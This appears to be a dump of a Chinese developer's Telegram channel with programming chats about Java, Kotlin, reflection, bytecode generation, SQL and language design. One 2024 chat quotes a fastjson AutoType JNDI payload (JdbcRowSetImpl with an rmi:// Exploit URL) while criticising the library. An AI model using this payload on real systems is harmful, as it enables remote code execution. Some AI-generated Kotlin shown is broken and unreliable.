duangsues.is_a? SaltedFish
60 subscribers
609 photos
6 videos
91 files
562 links
🌶🐔🐟 duangsuse 的日常
尤其喜欢发些奇奇怪怪的东西
和转载别人的东西
Download Telegram
duangsues.is_a? SaltedFish
https://t.iss.one/c/1119363280/109316 #reveng ndk onCreate https://t.iss.one/c/1119363280/109356 #huawei homoOs( #旧事重提 https://t.iss.one/c/1119363280/109367 xposed #wechat https://t.iss.one/c/1119363280/109378 #china #robotic #旧事重提 光年实验室 https://t.iss.one/c/1119363280/109402 #framework…
duangsues.is_a? SaltedFish
绿色的都比黄色小 红色都比黄色大 只要判断 黄色和你的数据的关系 就能排除掉 上面或者下面那一块
duangsuse:
二分查找还是分治嘛,对了它是几个指针来着 真的能斜切线吗

大 佬: #algorithm #Java #code
class Solution {
public boolean searchMatrix(int[][] matrix, int target) {
int lenSize = matrix.length;
int rowSize = matrix[0].length;
return search(matrix, 0, lenSize, 0, rowSize, target);
}
private boolean search(int[][] matrix, int a1, int b1, int a2, int b2, int target){
if(a1 == b1 || a2 == b2){
return false;
} else {
int mid1 = (a1 + b1) / 2;
int mid2 = (a2 + b2) / 2;
if(matrix[mid1][mid2] == target){
return true;
} else if(target > matrix[mid1][mid2]){
return search(matrix, a1, mid1 + 1, mid2 + 1, b2, target) || search(matrix, mid1 + 1, b1, a2, b2, target);
} else {
return search(matrix, mid1, b1, a2, mid2, target) || search(matrix, a1, mid1, a2, b2, target);
}
}
}
}
Deleted Account
以下是使用反射进行深拷贝的示例代码,支持将 `List`、`HashMap` 和对象的字段(使用 `getFields()` 方法获取)映射为新的值,并可以使用 `unifyEqualsPtrs()` 函数将相同的对象指针映射为相同的新对象: ```java import java.lang.reflect.*; import java.util.*; public class DeepCopyUtil { private static Map<Object, Object> originalToCopy…
在kotlin 用java reflect 写一个深度遍历对象图的 deepSetAs(obj,func) ,它支持将 List.E,Map.V,getFields() 内的值修改为func调用

以此定义 unifyEqualsPtrs(obj, oldToDup=mutMap())=deepSet{ computeIfAbsent }
请用函数式,when 减少缩进

它没有返回值,只原地改写 。然后field也要递归 ,而且不要处理str,enum 等基础类型
柯里化 deepSetAs(func)(it) ,递归改成 see(it)。 unify也要

deepSetAs不要有T, obj作为this, else->外提为 forListyFields(see); unify可以是val 。缩进2空格
ref:https://t.iss.one/dsuse/18706

也可以加个fn参数,调用0参构造器 作为返回,实现deepCopy

好的,我根据你的要求再次修改了一下代码,你看看这样可以吗:
#kt #code
kotlin
fun deepSetAs(func: (Any?) -> Any?): Any?.()->Unit = { ->
val see = deepSetAs(func)
when (this) {
is List<*> -> forEach { see(it) }
is Map<*, *> -> forEach { see(it.value) }
else -> this?.forListyFields(see)
}
}

val cf = mutableMapOf<Class<*>, Array<Field>>()

fun Any.forListyFields(see: (Any?) -> Unit) { cf.getOrPut(this.javaClass) { this.javaClass.declaredFields }.forEach {
it.isAccessible = true
val v = it.get(this)
if (v != null && v !is String && v !is Enum<*>) {
see(v)
}
it.set(this, func(v))
}
}

val unifyEqualsPtrs = { val dup2Old=mutableMapOf<Any?, Any?>()
deepSetAs { v -> dup2Old.computeIfAbsent(v) { v } }
}


解答了 https://t.iss.one/Javaer/922625
#java #FP Loney Chou, [2023/10/5 10:50]
只读集合是对 API 作者的极大福音

duangsuse, [2023/10/5 10:47]
如果只读不是在Type期实现的,就会有很大开销。比JS低就是了
只读还会逼你使用map,filter 等写法,对一些程序员可能……太严谨了
可能有人觉得自己用mutable集合,就能做得更快?

duangsuse, [2023/10/5 10:49]
Java 经典的反人类默认值,随地 public final
只能说是Java自身反人类,导致框架难写吧。

duangsuse, [2023/10/5 11:06]
好像是迭代、数组、元组 啥的不好区分

“ 这是整个 API 中最具争议的设计决策。显然,静态(编译时)类型检查是非常可取的,但实现此目标的尝试会导致接口层次结构的大小爆炸
Doug Lea 编写了一个流行的 Java 集合包,该包确实反映了其接口层次结构中的可变性区别,但根据用户对其集合包的体验。用他的话说(来自私人信件)“我很痛苦地说,强静态类型对于 Java 中的集合接口不起作用。”

duangsuse, [2023/10/5 11:07]
Java就是太智障了,你看 Py,Kt 对可变性的实现不就很正常,哪里有那么多特例?

典型的过度工程大佬,已经要被能随意跨界的JS,Py等语言抛在后面了 ,现在又跟不上明确化类型的新语言
Ruby的元类链都没 MutableXX 那么复杂,Java还觉得不行

学了几句算法觉得自己牛了, 但其实那是可以随便替换的,连接口的不标准都有先人犯过

list instanceof Sorted
OOP的正常typetag 组合不会用,反射却挺擅长(
Java当时也就是给数组加个bounds,给指针保存上type ,实在是没必要强到runtime去做Obj.freeze 这么弱的检查

duangsuse, [2023/10/5 11:13]
这就是算法和API的区别啊。运行时凭什么决定设计和编译期的概念呢
编程里就没有一个「有实用价值」的东西是计算机先有,然后设计师才拿出来用的

肯定不能让Java、VB这种垃圾语言,干扰你的思路的

duangsuse, [2023/10/5 11:14]
runtime check 都是外语,FFI 要考虑的事情了……你可以把FFI跨语言的情况,都理解为明确使用了 as cast

你都已经脱离Kotlin编译器了,还想继续使用各种语言和检查特性……(这跟说 private 也不是 private 一样
List和 MList<out T> 都会限制set()的…… (只不过MList不限制reverse)

duangsuse, [2023/10/5 11:38]
你不能说单靠一个类型,去把 list 当作Tuple来用。
单单结构不可变的称为 Array , 但现在大多数人只会用list 。还是Py的正确,tuple正好能对应上dataclass ,有用法的依据

你说的那种,是纯函数的不可变吧…… 不是类型上

意义真的不大, 无非是把堆里的变量放栈上改写,或者栈变量换伪递归, 那有什么用…… 又麻烦又慢 😓

变量关系式编程(LP)里, 函数式的 Memo f()=x+1 可以直接表达为 f(out y,x) 的细粒度重计算,不仅不存在“赋值”,也不需要那些纯函数的过度检查

一些人觉得 React是什么FRP,functional响应式 。但其实把可变数据,理解为含Var的不可变, 比纠结于List纯不纯好玩的多


类型姑且还是对心智模型的硬化, 纯度这些可都是虚无缥缈的风格格调了。有趣的软件未必靠FP来写。某些函数式lib的样板代码不比rs,go的少 ,代码质量只能是看人,是否憎恨冗余
#java #backend #design
>用 jvm bcel 生成 class T{ static int intFn1(char _0) { return 0; }}

int 要扩充到对int,char
Fn1要扩充到 Fn3

kotlin 2空格 减少变量名

ClassGen cg = new ClassGen("T", "java.lang.Object", "T.java", Constants.ACC_PUBLIC | Constants.ACC_SUPER, null);
MethodGen mg = new MethodGen(Constants.ACC_PUBLIC | Constants.ACC_STATIC, Type.INT, new Type[] { Type.CHAR }, new String[] { "_0" }, "intFn3", "T", il=new InstructionList(), cg.getConstantPool());


il.append(InstructionFactory.createReturn(Type.INT));
mg.setMaxStack();
// 创建一个对应于方法的MethodGen对象
cg.addMethod(mg.getMethod());

cg.getJavaClass().dump("T.class");


🤔 我看生成构造器和方法签名还挺简单的
不过此例也不涉及 this.x=arg0
你试试让AI写becl 它应该能基于getClass()反射生成Builder

主要是感觉jvm 一定要dump bytecode,有点太做作了,因为jvm是有Compiler() API的
明明把源码放 thymeleaf for if 一下,def()参数列表随便换行也能生成吧,这样就0依赖了

这种元编程如果AI也能好好完成, 也是只要能用就行,闲下来的时间可以多设计些语法, BECL这些技术 好像也不如cglib.Enhancer 的头尾hook流行了

老实说如果Kt有Zig那样的 comptime foreach 和TS的 type dict ,Builder就不是问题 。当然这就是 lisp 系的 (unquote '(+ "x" 1)) 宏了

按道理来说JS里不是魔法的Proxy重载 o.xx 运算符,Java也是没什么的,但是Javaer们反射序列化的搞得太复杂了,或者说编译期API的贫瘠导致了「两门语言问题」

Zig的设计当时让我眼前一亮。 虽然它不像D支持enum作为dict type ,但Zig的 println! 比 Rust 说的宏还好用

Kt实现默认重载的方法像Ruby一样,没有反射接口,不过把 fun 提升为class 就能知道默认值了(虽然这需要改变框架……

这点.NET的 dnSpy 也能做到,因为bc本质上就是 List<元组enum> 的bytes形式 ,编辑它最本质的做法就是 mmap() 文件到内存,然后绑定数组增长,0拷贝

不过无论语言,目前都没有能把read-write 统一起来的fmt IO lib ,JDK的R/Wer 流模式都是一式两份的
直接用msgpack管理加载保存二进制,倒是能避免冗余

但,它们都不是二进制格式的绑定框架。 其实绑定bytes列表和DOM树所用的模式还是一样的, 这点 010 Editor 这个闭源十六进制编辑器,反而清醒得多

Radare2 也是支持编辑javabc格式 ,所以lib的质量不是看语言,还是要看人、看思想
这么评价也是有点道理的。 函数式data构造API ,都是helloworld 很美观很易懂,但对接实际就拉垮了

比如 import struct 的 pack("I", 0xff) 读取导出(u32,) 吧,你parse一个wav 数组的shape很易懂,但仅仅是拼接下 乃至改个序列号 就要从0写入整个文件流

不就是因为 序列化struct的模型 本质上和C的 unsized 数组一样,都忽略了重要的文件结构信息吗?
不就是不想独立出 malloc() 对象,想只复制参数到新bytes() ,结果只要修改个变量,代码可读性就炸了,工程难度飙到需要Protobuf 这些DSL玩意
其实只要让read/write 都作用到同一颗对象树,绑定一下,就不需要拿局部变量写什么RW流了

React就是这样被后来者取代的
#java duangsuse, [2024/2/23 01:21]
请使用 kotlin-reflect 和 new Compiler() 来为
data class MPair(var A: Int, var B: Int)
实现
loads<UPair> (mapOf("A" to 1, "B" to 1))


代码的部分可用StringBuilder生成
class Pickle {
UPair load(UPair o, Map<Str,Any> m) { for(kv : field) o.$k=m.get($k); }
}

... https://gist.github.com/duangsuse/d022c7ad037bb7fed446f72ec9b38ef7

duangsuse, [2024/2/23 01:23]
我用jshell API 实现了一个ini序列化
大概比直接靠javac 简单点吧,理论上eval的玩意也可以缓存到编译期

duangsuse, [2024/2/23 01:28]
我觉得我的目的已经很清楚了,写在最顶上

如果看不懂就说明不用看,反之测试过
如果不是gpt不会,我很乐意只写开头那1行

duangsuse, [2024/2/23 01:30]
JShell API 虽然比从Compiler() 加载短的多,但 js.eval() 那个默认返回String我不喜欢……
或许是为了兼容RPC吧, 但LocalExecutor 应该就不需要序列化啊

感觉用jsh模拟eval 比ByteBuddy规范得多

duangsuse, [2024/2/23 01:34]
所以说py真的太解压了.. setattr() 就算动静态隔离,typehint还能做格式验证
js稍微乱点

java 连个规范的元编程方法都没有,一群魔法师
我是觉得一个老古董语言就不要和jspy 比面向event和类型反射

duangsuse, [2024/2/23 01:42]
不会啊,或许Lombok有

Factory类似Provider的简化版,在需要用subtypes 实现接口时可以用来简化创建

duangsuse, [2024/2/23 01:47]
写java,C++ 这些的时候有种错觉
public 是🔘列表符号
分号和各种不执行的标注也完全喧宾夺主了

duangsuse, [2024/2/23 01:49]
Compiler 和 JShell API 就是tools.jar里的,做不到比 CLI更强的功能,就是调用快点

JS("") 和runtime其实是完全隔离的,它的classpath 相当于是编译期的,你可以把生成的代码按行号缓存下来,不需要defineClass

duangsuse, [2024/2/23 01:51]
没错,第一次在runtime 做static foreach 留缓存,第二次可以直接走预处理器
这样也可以使用不常规的常量传播的结果,但主要是实现setattr()

duangsuse, [2024/2/23 01:53]
准确的说是在运行时,把eval()的东西缓存下来,那就叫编译嘛
JIT
#java #py
duangsuse:
https://t.iss.one/im_RORIRI/17511
卧槽
把前缀相同的param.给struct化啊,还有,f64不支持NaN么

栈上分配超过6个参数是不可接受的,x86有几个传参寄存器来着? daniel'si dress costs r89

完全不能拆成多个fn或者用列表处理吗
感觉这个程序是属于numpy的

如果你wrap成tuple bmp_chroma{} 就可以用 x.0~x.11表示参数

float类型ieee自己就有规定夸语言的null值,套一层属于自讨没趣

duangsuse:
xml在ast方面确实更好,但它被linus喷了
我只是举个例子

函数如同查询,是完全可以符号化数据化的

举个例子, NUM+a+b+1
[".0.1 NUM a b", 0,1,2, .+, '.1', .+ .+]
就可以是json的等效表达
0是全局变量, 1 2是参数, .+是调用

.0.1 代表这个数组保存了有0个变量,1个绑定,剩下2个参数的节点图,或者说“函数”

自古以来脚本语言是最好理解的,因此“静态声明”必须被解读为编译期项的添加,而不止是一种不运行的语法

这样才方便编写预处理、方便理解类型检查,这样无论编译还是运行时,使用的数据模型都统一为“不纯”的
程序员才不会自以为数据绑定是魔法框架的专利,然后整出一大堆脚本里不存在的设计模式

总之,现在的语言只有Zig在编译期计算上是合格的,其他通通笼罩在魔法师的阴影下

我在找一种类似 import cffi 的 kotlin inline c jni code 的元编程库

发现一个纯cpp写jvm lib的方法 https://github.com/google/jni-bind?tab=readme-ov-file#methods

🌚有点像C#的il2cpp ,不过我最理想的方法是,kt代码直译为cpp external fum

Kotlin/Native does not support compiling Java bytecode to native code, which would be necessary to use the kotlin-jvm stdlib.
Calling all JVM APIs through JNI is definitely going to be much, much, much slower

SWIG和JNA大概也是类似的,不过没有我理想的那种多语言无缝衔接

https://github.com/LanderlYoung/Jenny 可能比JNA好 https://github.com/java-native-access/jna/blob/master/www/GettingStarted.md

python社区的元编程功力实在是太棒了,或许是因为没有第二门语言的语法和反射如此简洁

py除了自带ffi,还有cython,mojo,numba,taichi一大堆子语言,根本不会像java这样要配置什么编译链接,一切都是框架主动生成

duangsuse:
奇怪,你是要支持 http:#hash 吗,为什么要多此一举匹配path呢,toUrl又不能直接拿来请求

而就这个例子,应该用resp.ContentType 是否为application/gzip
或 Content-Encoding: gzip https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Encoding

你可以断言url没有#hash直接对str判定

确实,text和octect是最常见的错误MIME
Forwarded from dnaugsuz
https://t.iss.one/dsuse/19184 这个内存对象范式叫行列算数(Rowcol typis),认为类型的本质是电子表格里 column set 间的混合, fn? 标记的表格可自由扩充新的列。

只要函数要求的列的Set能被变数或常数满足,调用就合法
赋值、 if for 只是普通调用,但含编译期计算
( - plus(An:Int, k:Int)Int 则是方法)

自带对序列化器(类型单实例的接口) 的支持,例如 typeof<Column2<Int,Str>>(JSON).loads()



好吧,有了一些小修改,主要是modifiers上的自动化
但大体上是把新class解释为对 Object这种的扩展,类似于 Haskell data C2=(A,B) 但是能够被外部扩展
#linux #java duangsuse, [11/25/24 9:35 PM]
我也可以直接贴个 {@type:com.sun.rowset.JdbcRowSetImpl, dataSourceName: "rmi://localhost:1099/Exploit"}

你们觉得这对技术水平有帮助吗? 所以你打算怎么修, blacklist it?

Science Yuan, [11/25/24 9:36 PM]
他是想说 fastjson 的作者完全不懂什么是面相对象

duangsuse, [11/25/24 9:36 PM]
fastjson 的安全问题确实出在AutoType,但问题不在这几个exploit上

duangsuse, [11/25/24 9:37 PM]
总而言之,这作者就是个性能迷,偏偏它还不如Rust懂数据结构

duangsuse, [11/25/24 9:39 PM]
javaer一直有个错得离谱的观点是,只要劳资写的都比JDK或apache快,tmd

dragove, [11/25/24 9:39 PM]
反正后面的版本默认关闭autotype,有白名单机制,fastjson2也是,感觉都是旧事了

duangsuse, [11/25/24 9:40 PM]
怎么不说PHP SQLi后来PDO也防了呢? 没有直接拼字符串方便,他们不会修的。关键是这人连APT或KSP都不会写,还处理静态结构

duangsuse, [11/25/24 9:42 PM]
Spring最开始还要写好XML才能玩,后来有人做了SB自动配置, 这货是刚学会Tokenizer就想揽瓷器活,真是不给下游加班的着着想

duangsuse, [11/25/24 9:43 PM]
C又没有C++ RTTI,啥都是指针啊,数组也是

Linux 的进程隔离,就是为了修C的这些毛病和while(true)给libc弄出来的虚拟机

Sherlock Holo, [11/25/24 9:44 PM]
那么为什么有方法和接口的语言还这样搞呢

duangsuse, [11/25/24 9:44 PM]
没办法,先辈的罪,你看Rust和py的最佳实践有没有%s

duangsuse, [11/25/24 9:45 PM]
fastjson不就是这种「自己造轮子,别人背黑锅」的典范么
我看Google写一次就行了,就像Blink,别人啥都不要写,省得出bug

有几个人能写出 ffmpeg 作者 Bellard.org 那样优美的代码

duangsuse, [11/25/24 9:48 PM]
JS可以抛弃掉alert()和XHR这些卡调栈API, 不会影响任何应用正常运行, VSCode单线活得好好的

duangsuse, [11/25/24 9:52 PM]
我看到的是,现在包括go func; Kotlinx.coroutine,都为了「高并发」把与 userspace 分离的线程拉回了 userspace
至于Android呢,它的存储管理是用FUSE, 又是 userspace

duangsuse, [11/25/24 9:53 PM]
而Linux自己呢,被syscall(CGroup)沙盒容器化得不成样子,好像每个pid都root也能正常工作
我还发现有人喜欢玩eBPF ,这是一种在「内核里」eval用户脚本的方法,比油猴高级不到哪去
完全不需要是现在这个样子

duangsuse, [11/25/24 9:56 PM]
只是取信于轻量化的技术罢了,比如 a.filt(x=>x<0) 胜于 select x from a where x<0

duangsuse, [11/25/24 9:58 PM]
他没说错啊,那时候Docker还没火呢。

现在Python和NPM都开venv,难受死了,真是麻烦

isekiのChannel, [11/25/24 9:59 PM]
https://www.yinwang.org/blog-cn/2019/08/19/microkernel

isekiのChannel, [11/25/24 9:59 PM]
我的理解是他试图利用编程语言的高层次抽象机制,来保证安全性

duangsuse, [11/25/24 10:00 PM]
错了吗? eBPF, WASM, 甚至前段时间出问题的 CrowdStrike ,哪个不是这样

duangsuse, [11/25/24 10:02 PM]
以前我们以为有apt;rpm这些就不用打包apk,exe
没想到面对 AppImage.org 和npm黑洞,传统容器化一败涂地……

duangsuse, [11/25/24 10:04 PM]
行业百草枯,啧啧
我看过ArkTS,只能说设计模式,脑子被驴踢了
Java8好的精髓没学到,融合上TS的类型体操,糟粕抄了一堆,也配叫仓颉

duangsuse, [11/25/24 10:09 PM]
也不全对,比如,你学Android开发就会知道 Activity, Bundle, Fragment 这些,学React就知道状态保存管理
这些UNIX里都有,但都不精。 Bundle就是URLParams或os.environ,Intent就是PATH.so.的main(..) ,State就是各种rc,/etc/conf ,其实每个日用的系统,都有一套自己的「UNIX」

最典型的就是Plan9,它为Linux贡献的/{proc,sys} 文件系统与叠合挂载(bind, overlay..),今天还被用于Termux等跨端容器
Termux.org 首页的那个htop, 就是依靠这种真·一切皆文件 获得的跨平台性
duangsuse, [11/26/24 10:25 AM] #java
因为OOP强制要求你override方法签名相同, FP只要有 x:Coin as Money 就够了

duangsuse, [11/26/24 10:26 AM]
我也是今天才知道有这么个要求,应该是避免人 override fun f(xx:Any) 设计的

duangsuse, [11/26/24 10:30 AM]
我是有点不喜欢OOP把一个kwargs补齐写成override这么麻烦, 和public一样凑字数
JVM这个getXX文化有意思,因为JS都是用defineProp元编程从不手写,另一种凑字数。

无非是为了子类能加算式,但实际上DTO根本不会有那么多逻辑,最多有ext fun ,所以这「封装」就是写着搞笑的,安全是自欺欺人,害了Kotlin

这种非常不好的习惯影响了pwsh和Qt,可谓Java的隐形八股,Gson这些东西非常清楚地摒弃它们
因为有这玩意 Javaer 还以 XXBuilder().new() 为自豪呢,大家都懂那连 T().apply{}/copy{} 都不如,更不必kwargs

abstract fun f; class T(val x) 和 T({f: wtf}) (0) 是没有啥区别的

C++修正了C语言".so对象" 不能跨线程、跨配置的问题,我看Java也没有修正abstract函数的这个低 compose 问题

duangsuse, [11/26/24 10:36 AM]
包括 ext fun or class 的设计,比如 InputStream$Filter 吧,我觉得很适合写成
inner class InputStream.Filter(x:Char) {
fun read()= if(super!=x)...
}


而不是extends,既浪费命名空间也要手动加 fun File().inpStream().. ,但OOP就有这个限制
如果Kotlin要这么糖, 就需要额外生成一个 override fun 去代理构造器

duangsuse, [11/26/24 10:42 AM]
嗨,感觉这协变没翻译的必要, ?extends Any 有啥不好理解
duangsuse, [11/26/24 2:01 PM]
你说的不就是到处getset造成的问题吗,JSON读写下直接用不成了, is get has 的都不一样

duangsuse, [11/26/24 2:07 PM]
你说的3个class common val 必然是继承之外,多态的情况,那就是 sealed class 呗
如果单纯给每个class生成getXX, 其实和 fastjson 给每个对象@autotype 一样蠢,那就是JVM现在的尿性

duangsuse, [11/26/24 2:09 PM]
Ruby 的设计才真是天才,人家没有SQL注入问题,因为 eval(s) 会检查 s.taint? ,人家都有污点分析,直接从根源知道什么是安全的值,啥能是攻击者构造的

Ruby class 可以外部扩充,有元类单例,那才叫类,java的顶多叫 newtype / struct ,而且Ruby有区分编译期:sym ,有 Crystal-lang.org ,Java20都想不明白

duangsuse, [11/26/24 2:12 PM]
那只能说是RoR的开发者不懂这些对象内部机制, 反正Ruby的元编程技术是有目共睹的

duangsuse, [11/26/24 2:16 PM]
Vue和React对ES6 Proxy({}, 语法重载) 有所了解,作为架构师,这当然是必要的, 你不检查开销也在那

duangsuse, [11/26/24 2:17 PM]
不过它们有个问题,就是Proxy实际上不如defineProp明确,vdom实际上不如Signals细粒度绑定, 但喜欢玩魔法是人类的共性,能用就行

duangsuse, [11/26/24 2:19 PM]
React hooks 更蠢,还有一群数字人捧得跟神似的, 加个var都靠useState(0),真神经

ES6和kt为什么没想出这么能凑字数的术语, Java八股文写了20年也写出这种省脑筋费命的框架啊
dnaugsuz:
SQLite的约束可以写个Mandelbrot渲染出来,但是没人会写

真想算变量关系不如去Prolog https://t.iss.one/dsuses/5229

我还真写过SQL DSL

#plt #sql #java 嗯 我前两个月有几天做了一个中文的SQL,并不是机翻,这几周可能会重置给到代码生成和DBA UI的功能,大家可以来学学SQL的写法:
https://duangsuse.github.io/tv/%E9%BB%91%E4%BA%86/db.htm

在我看来SQL造成了大量的代码冗余, 比如 validate, pagination

它那个B语法英译英一下,就非常难崩, 显得弱智而且缺乏组合力

鉴定为还不如 [x for if]

MLGB 的
https://developer.chrome.com/blog/deprecating-web-sql

自以为是把服务端本地化的可能性删了

那么问题来了,如何表示 Person{ name in [Jack,Rose], age>18 }

Web开发无非就是把这种组合函数的玩意,翻译到 js, URL, XML, SQL...
真的头疼的要死,有病属于是,幸好有AI

我觉得只用这种「比 e-hentai 强一点」的boolean语言是足够的, 比如 18<age<20 可以用Range表示

不需要考虑SQL本来能实现的, 18<age<20 or 50<age<80 的情况,那些按道理js能缝合

这不是语法的问题,是如何把 bool fun 序列化为嵌套{}的问题。

https://saneql.com/

我不喜欢这个的 A=B 运算符
那么 A!=B 是不是就不对称了

.filter(age = 18) 这种还是命令式写法
真正的filter 应该面向dict
.filter{age : 18}

Stream:
https://news.ycombinator.com/item?id=44278078

dnaugsuz:
哦,那个 SuperExpressive 的原神啊

https://t.iss.one/dsuse/17514

我还锐评了一下,这玩意还不如AI正则呢
没搞清楚场景

>这个是实验,我是说那个 "a".repeat() = "(a)*" 的东西,还弄什么 .end() ,怕是内部维护了一个 [] push pop 吧,估计才学会这个就整框架了,还把API做成这样,没有误人子弟的嫌疑吗
如果没做 re 到他框架的转换,就只会带来麻烦(虽然类似的“正则简化” 不是第一次了

那你还真是会demo,我记得Rust enum Calc{N(i32) Op(A,B)} 好像是用计算组合器demo DSL

我做个比较, DSL、闭包、Coroutine 函续体、 IntRef (包括Integer autobox, 但没有reactive) ,其实都是一种东西:把调用栈的状态复制下来,并灵活拓宽

这并不容易,因为控制ABI,保存和恢复就是 Linux 的四大工作之一

但这些模式在今天的全栈里都是举足轻重的, 不应该没有语法支持

Stream:
或者Loom其实也是

把调用栈保存下来,用到的时候再连上

dnaugsuz:
Builder 其实就是没有被良好设计的 json template

你觉得

alert({ title: rand? NO : "大新闻" })

with(Alert()) {
if(rand) title = "大新闻"
}.show()

哪个好? 当然是定义式的,灵活的
ES6里就有 {...jsonTemplate} 的玩法

Stream:
我其实觉得很烦的一点是经常需要为了builder和data class设计两套API

比如我有一个接受data class的API,为了写起来好看,我就得再加一个接受buildAction的API

dnaugsuz:
我要的稍微复杂点,在全部locals()支持的情况下可以json化

比如 await A; await B; return 666
{
ok_: 0, i: 0
_0(GetPair) { }
_1(rv), _2(rv) { this.ok(666) }
}

我理解里的DSL是跨端的